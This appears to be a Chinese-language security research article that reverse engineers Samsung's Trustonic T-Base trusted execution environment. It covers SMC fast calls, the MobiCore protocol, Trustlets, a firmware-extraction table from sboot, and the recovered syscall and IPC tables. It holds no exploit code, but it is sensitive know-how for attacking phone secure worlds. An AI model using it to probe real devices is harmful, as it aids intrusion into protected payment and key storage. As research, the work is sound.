## 三、三星的KNOX和T-Base
由于我的研究都是基于三星的环境下完成的，那么我要解决的第一个问题，就是可信执行环境如何与三星的KNOX安全架构结合在一起。这一点非常重要，因为在早期版本的TrustZone中，它几乎只用于进行数字版权管理（DRM），所以从终端用户的角度来看，对其进行攻击的意义并不是太大。而现在，时代已经改变。
针对TrustZone技术，三星公司已经发布了非常多的文档。其中，有两篇文档已经详细说明了其所具有的功能，我在这里就不再赘述，大家可以参考阅读：
<http://developer.samsung.com/tech-insights/knox/platform-security>
<http://developer.samsung.com/tech-insights/pay/device-side-security>
可信执行环境主要有下面三种用途：
1. 将安全敏感功能移入可信执行环境。这样一来，即使安卓环境受到了威胁，也不会对可信执行环境产生影响。例如：KeyStore证书、数字版权管理、证书管理、可信PIN、可信UI、移动设备管理远程认证。
2. 可信执行环境会对安卓系统中的功能进行监管，以缓解对Trustlets的漏洞利用尝试。例如：TIMA任意内核模块认证绕过、基于Trustlets的Kill-Switch勒索病毒。
3. 仅允许从可信执行环境访问硬件设备，从而缓解针对硬件的攻击。例如：指纹传感器、用于非接触式支付的磁信号安全传输技术（MST）等。
上述的所有内容，都有一个共同的特点：每一个功能都是由一个（或多个）Trustlet实现。这就充分说明，如果要对实际功能方面进行研究，我们应该关注Trustlet。但如果我们想要了解这些Trustlet的安全性（例如：在安全内核和不安全内核之间，它们是如何相互隔离的），我们就需要深入了解T-Base。
在这里，我想要说明的是，尽管本文中涉及一些Trustlet的实际功能，但更多是用于向大家展现这些漏洞的存在。
## 四、T-Base的结构
如果你想阅读厂商关于T-Base的介绍（更侧重于产品营销目的），请参考：
<https://www.trustonic.com/solutions/trustonic-secured-platforms-tsp/> 。
在最一开始，我们可以轻而易举地通过各种资料来熟知T-Base的结构——既有抽象层面的图示，又有大量的可用信息，同时还有三星和Trustonic共同公开的源代码可以参考。
这一切的核心，是安卓进程（应用程序）通过世界共享内存（World Shared Memory）与Trustlet通信。剩下的只有安卓、Linux内核和T-Base内核所提供的抽象层与安全边界层。
我们从T-Base架构的一张经典图示开始，来了解T-Base的结构。
### 4.1 ATF：ARM可信固件
首先，我们需要在硬件层面上，连接安全的世界（与不安全的世界。这一点是通过ARM上的SMC指令（Secure Monitor
Call）来实现的，它会将执行过程从安全世界切换到不安全世界，就像是SVC将执行过程从EL0切换到EL1一样。但是，我们并没有真正地使用这样的指令跳转到一个安全世界EL1中的Handler，而是执行跳转到所谓的监视模式（Monitor
Mode，ARM的EL3）之中。就像是一个代理，其目标是将安全世界与不安全世界之间的SMC组织起来。在Trustonic中，它并不是T-Base的一部分，而是单独实现的。关于ARM
EL的更多信息，请参考：<http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0488d/CHDHJIJG.html>
。
三星（包括其他使用Trustonic的厂商，例如部分使用联发科芯片的小米手机）就在使用ATF（ARM可信固件）来实现监控模式。上述实现基本上是参考了ARM的开源文档。此外，Quarkslab针对ATF逆向方面写了一篇非常不错的文章，大家可以参考阅读：
<https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-i.html>
<https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-ii.html>
需要注意的一点是，Linux内核不仅要使用SMC调用（通过ATF）来到达T-Base，并且T-Base内核还借助于SMC调用来实现与ATF的通信。上述内容实际上是一个黑盒问题，我们并不知道其具体原理，将会在下一篇文章中进一步学习探讨。
在这里，我要补充一句，不仅ATF会借助SMC调用来到达T-Base，有些SMC调用也可以让ATF实现命令。其中一部分是开源ATF代码中包含的命令，一部分是厂商自定义的命令。但这些并不是此次研究的重点。
### 4.2 T-Base：微内核
在图中的右侧，就是我们的安全世界，T-Base也在安全世界中。起初，我们认为共包含三个部分：微内核、安全驱动和Trustlet。但在后续研究中，我们意识到这个假设是错误的。图中的“运行管理（Runtime
Management）”，实际上既不是Trustlet，也不是驱动，更不是微内核。关于这一点会在本篇文章的后面进行介绍。现在，我们假设在T-Base操作系统中，如果一件事不是由Trustlet和安全驱动来完成，那就一定是微内核完成的。
因此，在我们研究Trustlet之前，我们想首先了解如何通过微内核来实现对Trustlet的管理（例如加载）。
为了充分掌握原理，我们必须对微内核进行逆向工程。三星将T-Base固件存储在一个不显眼的位置——打包在sboot映像中。Gal
Beniamini已经发表过一种用来提取该映像的方法，详情请参考他博客文章中“Kinibi
Revocation”一节：<https://googleprojectzero.blogspot.hu/2017/07/trust-issues-exploiting-trustzone-tees.html> ，在本篇文章后面，也会详细进行介绍。
尽管我们必须进行逆向才能知道微内核实现Trustlet管理的具体方式，但我们可以通过公开的文档了解到微内核相当多的管理接口。
T-Base将其称为MobiCore控制协议（MCP）接口（MCI）。这是建立在SMC调用之上的，接下来我们就做具体的分析。
至此，如果你已经阅读了Gal的文章，那么想必就一定知道，在三星S8之前，T-Base并没有在Trustlet加载过程中被用于回滚保护。
### 4.3 T-Base：SMC快速调用
如果你已经习惯了其他的可信执行环境实现，你可能会希望每个管理功能（例如：加载Trustlet、与Trustlet共享内存、打开到Trustlet的连接等）都能是另一个微内核实现的管理程序调用，可以通过将正确的参数传递给SMC调用来直接触发，就像Linux中的ioctl调用一样。
实际上，Trustonic采取了一种完全不同的方式，保证了微内核“微”的这一特点。这一实现，可以从Linux内核源代码中详细了解，具体请参阅drivers/gud/gud-exynos8890/MobiCoreDriver/*.c。
（附注：源代码中，驱动程序文件夹名称为“gud”，就是因为原来的公司名称是“Giesecke and Devrient”。）
在Linux内核中，总共有5个SMC快速调用。其中，MC_FC_INIT用于配置队列，MC_FC_INFO可以从T-Base中获取版本信息等信息，MC_FC_SWAP_CPU可用于将T-Base移动到特定的CPU核心中，MC_FC_YIELD和MC_FC_NSIQ用于调度T-Base的运行。
fastcall.c源代码如下：
/* fast call init */
union mc_fc_init {
union mc_fc_generic as_generic;
struct {
u32 cmd;
u32 base;
u32 nq_info;
u32 mcp_info;
} as_in;
struct {
u32 resp;
u32 ret;
u32 flags;
u32 rfu;
} as_out;
};
/* fast call info parameters */
union mc_fc_info {
union mc_fc_generic as_generic;
struct {
u32 cmd;
u32 ext_info_id;
u32 rfu[2];
} as_in;
struct {
u32 resp;
u32 ret;
u32 state;
u32 ext_info;
} as_out;
};
#ifdef TBASE_CORE_SWITCHER
/* fast call switch Core parameters */
union mc_fc_swich_core {
union mc_fc_generic as_generic;
struct {
u32 cmd;
u32 core_id;
u32 rfu[2];
} as_in;
struct {
u32 resp;
u32 ret;
u32 state;
u32 ext_info;
} as_out;
};
#endif
fastcall2.c源代码如下：
int mc_fc_nsiq(void)
{
union mc_fc_generic fc;
int ret;
memset(&fc, 0, sizeof(fc));
fc.as_in.cmd = MC_SMC_N_SIQ;
mc_fastcall(&fc);
ret = convert_fc_ret(fc.as_out.ret);
if (ret)
mc_dev_err("failed: %dn", ret);
return ret;
}
int mc_fc_yield(void)
{
union mc_fc_generic fc;
int ret;
memset(&fc, 0, sizeof(fc));
fc.as_in.cmd = MC_SMC_N_YIELD;
mc_fastcall(&fc);
ret = convert_fc_ret(fc.as_out.ret);
if (ret)
mc_dev_err("failed: %dn", ret);
return ret;
}
这些命令都是通过_smc()函数来执行，该函数的作用是将参数存储在寄存器中，并生成一个SMC。
所以我们知道，如果我们想根据VBAR的设置来寻找T-Base微内核的SMC处理程序，那我们应该只能找到这一简单的实现，后面必须要对微内核中未记录的解决方案进行逆向工程，来确定代码实际处理MCP命令的位置所在。
当然，上述过程也不是完整的，Linux内核需要在T-Base被响应时得到通知。实际上，这一点是通过中断来实现的：内核驱动在系统上注册一个终端，T-Base通过MC_FC_INIT命令获知到中断的发生。
### 4.4 T-Base：MobiCore控制协议
MCP是基于共享缓冲区的协议，因此SMC唯一可以做的，就是设置MCP队列，通知T-Base队列中有新的输入，并安排在安全世界中运行。其中，有两个队列：命令队列是不安全世界可以加载MCP命令的地方；通知队列是不安全世界可以加载Trustlet标识符的地方，以便通知特定的Trustlet有一条命令在等待它。
MCP命令的作用在于：我们可以加载/挂起/恢复Trustlet，并且可以映射/取消映射其他共享内存到Trustlet实例的地址空间。MCP命令列表可以在Linux内核源代码中找到，具体请参见drivers/gud/gud-exynos8890/MobiCoreDriver/mci/mcimcp.h。
/** Possible MCP Command IDs
* Command ID must be between 0 and 0x7FFFFFFF.
*/
enum cmd_id {
/** Invalid command ID */
MC_MCP_CMD_ID_INVALID = 0x00,
/** Open a session */
MC_MCP_CMD_OPEN_SESSION = 0x01,
/** Close an existing session */
MC_MCP_CMD_CLOSE_SESSION = 0x03,
/** Map WSM to session */
MC_MCP_CMD_MAP = 0x04,
/** Unmap WSM from session */
MC_MCP_CMD_UNMAP = 0x05,
/** Prepare for suspend */
MC_MCP_CMD_SUSPEND = 0x06,
/** Resume from suspension */
MC_MCP_CMD_RESUME = 0x07,
/** Get MobiCore version information */
MC_MCP_CMD_GET_MOBICORE_VERSION = 0x09,
/** Close MCP and unmap MCI */
MC_MCP_CMD_CLOSE_MCP = 0x0A,
/** Load token for device attestation */
MC_MCP_CMD_LOAD_TOKEN = 0x0B,
/** Check that TA can be loaded */
MC_MCP_CMD_CHECK_LOAD_TA = 0x0C,
/** Map multiple WSMs to session */
MC_MCP_CMD_MULTIMAP = 0x0D,
/** Unmap multiple WSMs to session */
MC_MCP_CMD_MULTIUNMAP = 0x0E,
};
尽管该功能非常简单，但不意味着以安全的方式来实现该功能也是非常简单的。事实上，几乎所有的安卓可信执行环境厂商，都存在安全问题，更多详情可以参见UCSB研究人员发表的《BOOMERANG》文章：<https://www.cs.ucsb.edu/~vigna/publications/2017_NDSS_Boomerang.pdf>
。
从Linux内核的角度来看，这些功能是通过实现mc_user_fops操作（该操作在drivers/gud/gud-exynos8890/MobiCoreDriver/user.c中定义）的/dev/mobicore设备节点过程中暴露的。
### 4.5 T-Base：Trustlet和安全驱动
接下来，让我们一起来看看Trustlet。首先要提到的是，在去年，Gal Beniamini的一篇博客文章（
<https://googleprojectzero.blogspot.hu/2017/07/trust-issues-exploiting-trustzone-tees.html> ）中对T-Base Trustlet的实现给出了非常棒的观点，我觉得大家有必要首先阅读一下。
更详细的内容，请继续阅读本文。
根据Tim Newsham此前的研究（ <http://thenewsh.blogspot.hu/2015/02/disassembling-mobicore-trustlets.html>
），我们知道，Trustlet二进制文件可以在设备的/system/app/mcRegistry或/data/app/mcRegistry中找到，或者从三星FOTA映像中装载了sim2img的system.img的APP目录下找到。
我们还需要知道MobiCore加载器格式（MCLF，Truslet和安全驱动的文件格式）：在内核源代码中，请查看诸如gud/gud-exynos8890/MobiCoreDriver/mci/mcloadformat.h这样路径下的源文件。这是一个由Gassan
Idriss编写的IDA加载程序，可供参考：<https://github.com/ghassani/mclf-ida-loader/blob/master/mclf_loader.py> 。此外，Tim Newsham还写了另一套工具（
<http://pastebin.com/ea7BG6cj> ； <http://pastebin.com/DPwcmrK2>
），用于将MCLF转换成ELF。
在Trustlet中区分驱动非常简单，可以根据MCLF中的版本字段来判断。或者还有一种更快的方法：名称以“ffffffff00”开头的是Trustlet，名称以“ffffffffd0”开头的是安全驱动。另一方面，由于这些名称是以他们的UUID命名的，而不是一个有意义的名字，因此想要知道哪些二进制文件中隐藏了什么功能并不容易。我们可以使用逆向工程的方式来实现这一点。
尽管其加载过程是在不安全世界中进行的解析，但MCLF格式在安卓内核源代码中还是有意义的，但更令人惊讶的是，所谓的tlApi和drApi也在某些来源中被定义。我不知道这是否是一个错误的定义，并且也不是在每个发布的三星内核源代码中都能找到该路径，但至少我在GitHub的源代码中发现了一个存在的样例。
这些是Trustlet与安全驱动分别用来与T-Base微内核通信的API。其中包括与不安全世界中应用程序进行交互的功能、允许安全世界中进程（Trustlet/安全驱动）相互通信的功能，以及对通常由内核处理的功能的调用（例如映射内存地址空间）。
正如Tim Newsham和Gal Beniamini的博客文章中所述，Trustlet通过一个调用门（Call-Gate，类似于ELF的GOT，除了对所有API调用都有单个跳转目标之外）调用这些API。也就是说，这些调用并没有编译成Trustlet二进制文件。由此，我们就又产生了另一个资料都未能解答的疑问——这些API实际上都在哪里，并且是如何实现的？我们可以推测，这些API实际上会以某种方式被SVC调用包装，并在T-Base微内核中实现系统调用处理程序。但我们并不清楚其中的细节。同样，我们也没有tlApi或drApi中所有调用的信息。此外，Tim的博客文章是几年之前写的，其中所列出的API调用列表也是不完整的。
关于安全驱动，除了这些头文件之外，我没有找到太多的公开资料。就目前而言，理解了安全驱动能够访问各种硬件就已经足够了。此外，加密驱动会与加密引擎进行通信。安全SPI驱动一方面会通过SPI接口与指纹传感器进行通信，另一方面通过SPI接口与安全支付的嵌入式安全元件（Samsung
Pay）进行通信。上述所提及内容，均在三星官方文档（ <http://developer.samsung.com/tech-insights/pay/device-side-security> ）中有详细说明。
关于Trustlet和tlApi，我们可以找到一些公开信息，例如Trustonic的Jan-Erik Ekberg的演示（
<https://usmile.at/sites/default/files/androidsecuritysymposium/presentations2015/Ekberg_AndroidAndTrustedExecutionEnvironments.pdf>
）。根据他PPT上面的一张截图，我们可以看到：
Trustlet的基本行为非常简单。在IPC部分（与安全驱动通信）有些复杂，但就接口的Trustlet而言，只有tlApi调用tlApi_callDriver()，其工作原理与Linux的ioctl有些相似，它将一个命令ID和一个指向命令结构的指针作为参数。这里也是，并没有在Linux内核源代码中体现，但我们在GitHub上却至少可以找到一个源代码是使用了这样的头文件。
如果你已经阅读了Jan-Erik的幻灯片，你应该已经了解到有一个名为GP（Global
Platform）的标准化可信执行环境，它为不同的可信执行环境创建了一个通用的API。Trustonic支持GP标准，因此他们也有相应的API可以实现通用标准。他们所做的，就是增加了一些特性，将相应内容变成T-Base特定的API。然而比较不错的是，三星似乎在Trustlet中使用了传统的API，所以我们不用担心这一点。
## 五、T-Base与安卓
现在，我们来研究安卓层面。这里仍然有Trustonic编写的代码，他们创建了一个用户控件守护进程mcDriverDaemon，向用户空间的应用程序开放接口。由于某种原因，以前版本的代码曾经开源过，因此理解这个驱动程序的驱动就变得非常简单。
这个守护进程通过libMcClient.so访问内核设备节点，其命令清晰地映射到MCP命令中，请参考：
<https://github.com/Trustonic/trustonic-tee-user-space> 。
Trustonic这一设计目的在于，只有mcDriverDaemon能够访问设备节点，并且通过UNIX本地套接字开放接口。Trustonic将该接口命名为TLC（Trustlet连接器）。
在三星的具体场景下，这一情况更为复杂。一方面，设备节点使用DAC和MAC（SELinux）进行限制，但仍有许多特权进程可以对其进行访问，其中有一些无需通过mcDriverDaemon即可对其进行操作。同样，UNIX本地套接字只能由特权进程访问。事实上，三星想要分为直接（libtlc_direct_comm.so）和代理（libtlc_proxy_comm.so）这两种方式，但有一些进程同时使用了这两种方式。
至此，我们的研究过程还并不完整。很显然，三星使用这样的配置，使得安卓系统中一些TrustZone支持的功能能够完全在特权模式下进行，例如system_server。但还有一种功能，可以将特权进程扩展到应用程序中，完全无需权限，或是可以通过常规的应用程序来获取到权限。
这是通过将Binder接口添加到各种特权进程中来实现的。安卓会借助API来允许进程在其Binder接口上进行访问控制，因此我们非常希望三星也能够实现这一点。但是，我们必须要深入进行逆向工程，因为目前没有相关文档或相关的现有技术。
Gal曾经写过一个otp_server代理。同样，还有很多其他的代理。举例来说，这个例子是针对Samsung Pay场景下实现的：
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Ma-How-Samsung-Secures-Your-Wallet-And-How-To-Break-It.pdf> 。在我们的研究中，我专注于使用tlc_server，目前暂时还没有尝试过其他情况。
## 六、与Trustlet的通信
在对这一架构的细节进行研究的过程中，我们注意到一个明显的漏洞。
尽管我们已经知道如何在安卓中设置WSM（TCI缓冲区）来向一个Trustlet发送命令，但是我们并不知道该命令的固定格式，也没有找到任何用于实现常见任务的指导（或者相关的库）。那从事实上看，每一个Trustlet都有自己的方式吗？
尽管目前，公开资料中并没有用于Trustlet通信的通用命令结构，但是Trustonic可能会与合作商分享开发人员指南。那对于我们来说，就只能通过逆向工程来实现了。
剧透警告：在最后，通过对Trustlet进行逆向，我发现三星Trustlet的命令看上去是使用了通用头部格式，但实际上不一定是通用的。并且，对于Trustlet之间的命令有效载荷，它并不会扩展到任意种类的标准结构。
## 七、小结
接下来，让我们回顾一下该结构的各个层级：
1. 三星Sboot遵循ATF模型。Sboot会加载EL3固件（ATF）和操作系统运行在安全世界的EL0+EL1（T-Base）。在加载完成后，bootloader会将处理器切换成不安全世界模式，并加载应用程序，当然也会加载安卓系统。
2. ATF会捕获到全部世界中EL1的SMC调用，并在二者之间进行代理。
3. Linux内核会设置用作MCP命令队列和通知队列的共享缓冲区，并通过快速调用（在寄存器中传递带有参数的SMC指令）来初始化与T-Base微内核的通信。
4. Linux内核使用另一个快速调用来通知（进行调度）T-Base。T-Base使用Linux内核中注册的中断，在处理命令完成后通知不安全世界。
5. Linux内核实现了MCP，这些命令允许通过Trustlet实例来加载并共享内存，并通过/dev/mobicore和/dev/mobicore-user设备的ioctl接口对外开放。它包括在WSM范围之内的完整性检查，用于确保用户空间无法请求可能导致不安全世界内部Linux内核损坏/内核特权提升的内存区域。（此前发现，这种健全性的检查是不充分的。）
6. libMcClient.so库负责ioctl接口的用户空间实现。
7. 用户空间进程通过不同的libtlc_*共享库来实现对库的利用。拥有足够特权的进程，可以直接使用能够加载libMcClient.so的变体，其他进程需要通过mcDriverDaemon来获得访问权限。在这里，通过普通的UNIX套接字暴露了MCP接口，但后面增加了健全性检查，就可以防止客户端进行类似于Linux内核的非法MCP行为。
8. 套接字仍然受MAC和DAC机制的限制，因此非特权应用程序无法访问它们。而与之相反，三星增加了各种代理进程（比如tlc_server），通过Binder进一步暴露了mcDriverDaemon接口，从而允许具有足够权限的应用程序通过访问特定的Binder界面的方式来与T-Base进行交互，以及加载Trustlet并与之通信。
## 八、T-Base映像提取
要提取所有嵌入到Sboot映像中的T-Base固件（例如：微内核、运行时间管理器、tlLibrary、加密驱动等），需要使用字符串标记“t-base”来查找提取表：
ROM:00147000 tbase_extract_table DCB "t-base ",0 ; descriptor struct:
ROM:00147000 ; char name[8]
ROM:00147000 ; int offset
ROM:00147000 ; int size
ROM:00147000 ; char padding[0x10]
ROM:00147000 ;
ROM:00147000 ; real start offset: 0x132000
ROM:00147000 ;
ROM:00147000 ; Mtk: 0->0x147000 -> the Microkernel image itself -> go back 0x15000 from "t-base"
ROM:00147000 ; Image_h: 0x147000 -> 0x148000 -> so that's this
ROM:00147000 ; Rtm: 0x148000 -> RTM is the Run-Time Manager (aka S0CB)
ROM:00147000 ;
ROM:00147000 ; drcrypt: 0x167000 -> MCLF file (Crypto Driver)
ROM:00147000 ; tlproxy: 0x17A000 -> MCLF file (SFS Trustlet)
ROM:00147000 ; sth2: 0x17B000 -> MCLF file (SFS Driver)
ROM:00147000 ; mclib: 0x183000 -> tlLib (runtime library for Trustlets and Drivers)
ROM:00147008 DCD 0
ROM:0014700C DCD 0x5D000
ROM:00147010 ALIGN 0x20
ROM:00147020 aMtk DCB "mtk ",0
ROM:00147028 DCD 0
ROM:0014702C DCD 0x15000
ROM:00147030 ALIGN 0x20
ROM:00147040 aImage_h DCB "image_h",0
ROM:00147048 DCD 0x15000
ROM:0014704C DCD unk_1000
ROM:00147050 ALIGN 0x20
ROM:00147060 aRtm DCB "rtm ",0
ROM:00147068 DCD 0x16000
ROM:0014706C DCD 0x1F000
ROM:00147070 ALIGN 0x20
ROM:00147080 aDrcrypt DCB "drcrypt",0
ROM:00147088 DCD 0x35000
ROM:0014708C DCD 0x13000
ROM:00147090 ALIGN 0x20
ROM:001470A0 aTlproxy DCB "tlproxy",0
ROM:001470A8 DCD 0x48000
ROM:001470AC DCD 0x1000
ROM:001470B0 DCD 0
ROM:001470B4 DCD 0
ROM:001470B8 DCD 0
ROM:001470BC DCD 0
ROM:001470C0 aSth2 DCB "sth2 ",0
ROM:001470C8 DCD 0x49000
ROM:001470CC DCD unk_8000
ROM:001470D0 ALIGN 0x20
ROM:001470E0 aMclib DCB "mclib ",0
ROM:001470E8 DCD 0x51000
ROM:001470EC DCD unk_C000
ROM:001470F0 ALIGN 0x1000
ROM:00148000 S0CB_HDR DCB "S0CB",0 ; Rtm offset points here
ROM:00148005 DCB 0x10, 0, 0
ROM:00148008 DCD unk_C000
ROM:0014800C DCD dword_D000
ROM:00148010 DCD 0
ROM:00148014 DCD 0x11960
ROM:00148018 DCD 0xB295
ROM:0014801C DCD 0x3F
ROM:00148020 DCD 0x6A
ROM:00148024 aMccb DCB "MCCB",0
ROM:00148029 DCD 0
ROM:0014802D DCD 0
## 九、T-Base SMC
目前，我已经确定了以下T-Base与通过ATF调用的SMC的对应关系：
0x1：从不安全世界中进行快速调用，并通过ATF返回到不安全世界中；
0xB2000002：将VBAR值发送给ATF（因此ATF知道SMC处理程序的位置）；
0xB2000003：写入字符（用于通过ATF记录消息）；
0xB2000004：将T-Base初始化状态发送给ATF。
ROM:00133054 tbase_smc_send_VBAR ; CODE XREF: config_tbase_and_tell_aft_the_vbar+E↑p
ROM:00133054 LDR R0, =0xB2000002
ROM:00133058 MOV R1, #1
ROM:0013305C LDR R2, =0x7F00000 ; normal VBAR address
ROM:00133060 SMC #0
ROM:00133064 BX LR
ROM:00133064 ; End of function tbase_smc_send_VBAR
ROM:00133064
ROM:00133068
ROM:00133068 ; =============== S U B R O U T I N E =======================================
ROM:00133068
ROM:00133068 ; Attributes: noreturn
ROM:00133068
ROM:00133068 tbase_smc_fastcall_status_then_ret_to_nonSW
ROM:00133068 ; CODE XREF: sub_1343AA:loc_1354C8↓p
ROM:00133068 ; translate_MSMBase_to_VA+46↓p
ROM:00133068 LDR R0, =0xB2000004
ROM:0013306C MOV R1, #1
ROM:00133070 MOV R2, #1
ROM:00133074 SMC #0
ROM:00133078 LDR R0, =0x2000001
ROM:0013307C SMC #0
ROM:00133080
ROM:00133080 loc_133080 ; CODE XREF: tbase_smc_fastcall_status_then_ret_to_nonSW:loc_133080↓j
ROM:00133080 B loc_133080
ROM:00133080 ; End of function tbase_smc_fastcall_status_then_ret_to_nonSW
ROM:00133080
ROM:00133084
ROM:00133084 ; =============== S U B R O U T I N E =======================================
ROM:00133084
ROM:00133084
ROM:00133084 tbase_smc_fastcall_status ; CODE XREF: sub_1343AA+31C6↓p
ROM:00133084 LDR R0, =0xB2000004
ROM:00133088 MOV R1, #1
ROM:0013308C MOV R2, #3
ROM:00133090 SMC #0
ROM:00133094 BX LR
ROM:00133094 ; End of function tbase_smc_fastcall_status
ROM:00133094
ROM:00133098
ROM:00133098 ; =============== S U B R O U T I N E =======================================
ROM:00133098
ROM:00133098
ROM:00133098 tbase_smc_fastcall_print
ROM:00133098 MOV R2, R0
ROM:0013309C LDR R0, =0xB2000003
ROM:001330A0 MOV R1, #1
ROM:001330A4 SMC #0
ROM:001330A8 BX LR
ROM:001330A8 ; End of function tbase_smc_fastcall_print
(...)
## 十、T-Base系统调用
.tbase_mem_data:07F0D86C ; ===========================================================================
.tbase_mem_data:07F0D86C
.tbase_mem_data:07F0D86C ; Segment type: Pure data
.tbase_mem_data:07F0D86C AREA .tbase_mem_data, DATA, ALIGN=0
.tbase_mem_data:07F0D86C ; ORG 0x7F0D86C
.tbase_mem_data:07F0D86C syscall_table DCD svc_0_nop+1 ; DATA XREF: invoke_syscall_from_table+40↑o
.tbase_mem_data:07F0D86C ; invoke_syscall_from_table:syscall_table_ptr↑o
.tbase_mem_data:07F0D870 DCD svc_1_init_process+1
.tbase_mem_data:07F0D874 DCD svc_2_nop+1
.tbase_mem_data:07F0D878 DCD svc_3_nop+1
.tbase_mem_data:07F0D87C DCD svc_4+1 ; Did not find this invoked anywhere in {RTM,tlLib}
.tbase_mem_data:07F0D880 DCD svc_5_start_process+1
.tbase_mem_data:07F0D884 DCD svc_exit+1
.tbase_mem_data:07F0D888 DCD svc_mmap+1
.tbase_mem_data:07F0D88C DCD svc_8_munmap+1
.tbase_mem_data:07F0D890 DCD svc_9_start_thread+1
.tbase_mem_data:07F0D894 DCD svc_A_stop_thread+1
.tbase_mem_data:07F0D898 DCD svc_B_return_0xD+1
.tbase_mem_data:07F0D89C DCD svc_C_modify_thread_registers+1
.tbase_mem_data:07F0D8A0 DCD svc_D_mprotect+1
.tbase_mem_data:07F0D8A4 DCD svc_E_resume_thread+1
.tbase_mem_data:07F0D8A8 DCD svc_F+1
.tbase_mem_data:07F0D8AC DCD svc_10_set_thread_prio+1
.tbase_mem_data:07F0D8B0 DCD svc_11_ipc+1
.tbase_mem_data:07F0D8B4 DCD svc_12_int_attach+1
.tbase_mem_data:07F0D8B8 DCD svc_13_int_detach+1
.tbase_mem_data:07F0D8BC DCD svc_14_sigwait+1
.tbase_mem_data:07F0D8C0 DCD svc_15_signal+1
.tbase_mem_data:07F0D8C4 DCD svc_16+1 ; Did not find this invoked anywhere in {RTM,tlLib}
.tbase_mem_data:07F0D8C8 DCD svc_tbase_smc_fastcall_input+1
.tbase_mem_data:07F0D8CC DCD svc_18_log_char+1
.tbase_mem_data:07F0D8D0 DCD svc_19_get_secure_timestamp+1
.tbase_mem_data:07F0D8D4 DCD svc_1A_control+1 ; includes a lot, such as:
.tbase_mem_data:07F0D8D4 ; - driver shmem map/unmap
.tbase_mem_data:07F0D8D4 ; - get/set exception info
.tbase_mem_data:07F0D8D4 ; - get MCP queue info
.tbase_mem_data:07F0D8D4 ; - get IPCH phys address values
.tbase_mem_data:07F0D8D4 ; - cache control
.tbase_mem_data:07F0D8D4 ; - virt2phys, phys2virt translation
.tbase_mem_data:07F0D8D4 ; - set custom fastcall, call custom fastcall
.tbase_mem_data:07F0D8D4 ;
.tbase_mem_data:07F0D8D4 ; Known sub-handlers:
.tbase_mem_data:07F0D8D4 ;
.tbase_mem_data:07F0D8D4 ; -0x8F: getting/setting fastcall configuration values
.tbase_mem_data:07F0D8D4 ; - 0xC: get S0CB PA
.tbase_mem_data:07F0D8D4 ; - 0xA: notify (nSW - trigger interrupt)
.tbase_mem_data:07F0D8D4 ; - 0xB: notify driver (drTriggerIntr)
.tbase_mem_data:07F0D8D4 ; - 0xD: get fc_init perm flags
.tbase_mem_data:07F0D8D4 ; - 0x1: set exception info
.tbase_mem_data:07F0D8D4 ; - 0x2: get fault info
.tbase_mem_data:07F0D8D4 ; - 0x4,0x5,0x6,0x7: get MCP queue info
.tbase_mem_data:07F0D8D4 ; (mci_buffer_addr, nq_length, mcp_queue_addr, mcp_queue_len)
.tbase_mem_data:07F0D8D4 ; - 0x9: map mcp cmd queue (in kernel)
.tbase_mem_data:07F0D8D4 ; -0x90 -> more control
.tbase_mem_data:07F0D8D4 ; - 5: read info for exception
.tbase_mem_data:07F0D8D4 ; - 7: translate VA to PA
.tbase_mem_data:07F0D8D4 ; -0x91 virt-to-phys and also virt-to-phys64
.tbase_mem_data:07F0D8D4 ; -0x92 -> I-cache clean/invalidate, D-cache clean/invalidate
.tbase_mem_data:07F0D8D4 ; -0x81:map, 0x83: unmap, 0x85:map.
.tbase_mem_data:07F0D8D4 ; - Difference in 81/85: map in
## 十一、RTM IPC
请注意，在这里我们称RTM为“S0CB”，是由于其文件格式的魔术值（Magic
Value）。根据Sboot固件中的提示，更加准确的一个名称应该是RTM（Run Time Manager，运行时间管理器）。
这是T-Base中一个强大的用户空间进程，始终最先启动，并负责启动和管理所有其他进程（Trustlet）。与Linux上的init类似，它负责三个功能：
1. 实现MCP；
2. 当请求从不安全世界到达时，通知Trustlet；
3. 实现T-Base的IPC机制。
其中，MCP命令都可以从公开渠道获知。对于IPC，前12个IPC命令可以在这里找到源代码：<https://searchcode.com/codesearch/view/42497996/>
。在这里，我参考了相关的命名约定，对于其余部分，具体如下：
/** Possible message types/event types of the system. */
typedef enum {
MSG_NULL = 0, // Used for initializing state machines
/***************/
MSG_RQ = 1, /**< Request; client -> server; */
MSG_RS = 2, /**< Response; server -> client */
MSG_RD = 3, /**< Ready; server -> IPCH */
MSG_NOT = 4, /**< Notification; client -> IPCH; */
MSG_CLOSE_TRUSTLET = 5, /**< Close Trustlet; MSH -> IPCH; IPCH -> all servers */
MSG_CLOSE_TRUSTLET_ACK = 6, /**< Close Trustlet Ack; servers -> IPCH */
MSG_MAP = 7, /**< Map; driver <-> IPCH; */
MSG_ERR_NOT = 8, /**< Error Notification; EXCH/SIQH -> IPCH; */
MSG_CLOSE_DRIVER = 9, /**< Close driver; MSH -> IPCH; IPCH -> driver */
MSG_CLOSE_DRIVER_ACK = 10, /**< Close driver Ack; driver -> IPCH; IPCH -> MSH */
MSG_GET_DRIVER_VERSION = 11, /**< GetDriverVersion; client <--> IPCH */
MSG_GET_DRAPI_VERSION = 12, /**< GetDrApiVersion; driver <--> IPCH */
MSG_SET_NOTIFICATION_HANDLER = 13, // Driver <-> IPCH
MSG_DRV_NOT = 15, // Driver -> Trustlet
MSG_SET_FASTCALL_HANDLER = 16, // Driver <-> IPCH
MSG_GET_CLIENT_ROOT_AND_SP_ID = 17, // Driver <-> IPCH
MSG_CALL_FASTCALL = 25, // DRIVER -> IPCH -> Kernel
MSG_GET_CLI_UUID = 26, // Driver <-> IPCH
MSG_RQ_2 = 27, // Client -> Server
MSG_MAP_VA_DIRECT = 31, // DRIVER <-> IPCH
MSG_MAP_PY_DIRECT = 32, // DRIVER <-> IPCH
MSG_UNMAP_PY_DIRECT = 33, // DRIVER <-> IPCH
MSG_GET_MEM_TYPE = 34, // DRIVER <-> IPCH
MSG_UNMAP_VA_DIRECT = 35 // DRIVER <-> IPCH
} message_t;
## 十二、tlApi
ROM:07D0BE38 tlApi_syscall_table DCD tlApiNOP+1 ; 0
ROM:07D0BE38 DCD tlApiGetVersion+1 ; 1
ROM:07D0BE38 DCD tlApiGetMobicoreVersion+1; 2
ROM:07D0BE38 DCD tlApiGetPlatformInfo+1; 3
ROM:07D0BE38 DCD tlApiExit+1 ; 4
ROM:07D0BE38 DCD tlApiLogvPrintf+1 ; 5
